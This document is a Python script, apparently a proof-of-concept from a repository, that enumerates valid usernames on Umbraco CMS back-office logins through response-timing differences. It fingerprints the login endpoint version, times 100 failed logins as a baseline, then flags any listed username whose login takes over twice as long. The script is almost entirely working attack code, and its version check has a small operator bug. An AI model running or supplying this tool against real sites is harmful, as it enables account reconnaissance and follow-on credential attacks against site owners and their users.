README.md
Rendering markdown...
import random
import string
import time
import requests
import argparse
# List to enumerate over (100 items)
items = list(range(100))
# Store timings
timings = []
username_list = []
URL = ''
# Suppress warnings
requests.packages.urllib3.disable_warnings()
def main():
parser = argparse.ArgumentParser(description="input file and Umbraco URL")
parser.add_argument('-f', type=argparse.FileType('r'), help="Path to the line seperated file")
parser.add_argument('-u', help="scheme, host and port (eg. https://192.168.122.213:8443) ")
args = parser.parse_args()
# We should do some argument handling/validation here
if (args.f == None or args.u == None):
parser.print_help()
exit(0)
# Process the file to a list which we can pass to enum_usersnames function
for line in args.f:
line = line.strip() # Remove leading/trailing whitespace
username_list.append(line)
# Close the file
args.f.close()
#print(URL)
tmp_url = args.u
check_version(tmp_url)
build_timing_model()
enum_usernames(username_list)
def check_version(url):
global URL
# for version above >= 14.0.0
new_login_url = url + "/umbraco/management/api/v1/security/back-office/login"
# for version < 14.0.0
old_login_url = url + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
response_new = requests.post(new_login_url, headers={'Content-Type': 'application/json'}, verify=False)
response_old = requests.post(old_login_url, headers={'Content-Type': 'application/json'}, verify=False)
if (response_new.status_code != 404 & response_old.status_code == 404):
print("[+] Umbraco version >= 14.0.0")
URL = new_login_url
else:
print("[+] Umbraco version < 14.0.0")
URL = old_login_url
return
def build_timing_model():
print("[+] Building statistical model by doing 100 incorrect login attempts")
for i, item in enumerate(items):
length = random.randint(5, 9)
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
random_mail = 'nonexist_' + random_string + "@"+ random_string + ".local"
random_password = 'nonexistpw_' + random_string
json_wrong_data = {"username":random_mail,"password":random_password}
# Start the timer for request
start_time = time.perf_counter()
try:
response = requests.post(URL, json=json_wrong_data, headers={'Content-Type': 'application/json'}, verify=False)
# print(response)
except requests.exceptions.RequestException as e:
print(f"Request {i + 1} failed: {e}")
# Stop the timer for the request
end_time = time.perf_counter()
# Append for statistics
duration = end_time - start_time
timings.append(duration)
print("[+] Finished building statististical model!")
def enum_usernames(usernames):
number_users = 0
existing_users = []
for username in usernames:
length = random.randint(5, 9)
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
random_password = 'nonexistpw_' + random_string
json_data = {"username":username,"password":random_password}
start_time = time.perf_counter()
try:
response = requests.post(URL, json=json_data, headers={'Content-Type': 'application/json'}, verify=False)
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
end_time = time.perf_counter()
duration = end_time - start_time
factor = duration / (sum(timings) / len(timings)) if duration != 0 else float('inf')
# print(f"Factor: {factor:.4f}")
# We can adjust the threshold here but if a factor of above 2 is observed we assume the username to be correct
if ( factor > 2):
print(f'[+] Found an existing user: {username} (factor is: {factor})')
existing_users.append(username)
number_users += 1
else:
pass
print(f'Found {number_users} (potentially) existing users:')
print(existing_users)
if __name__ == "__main__":
main()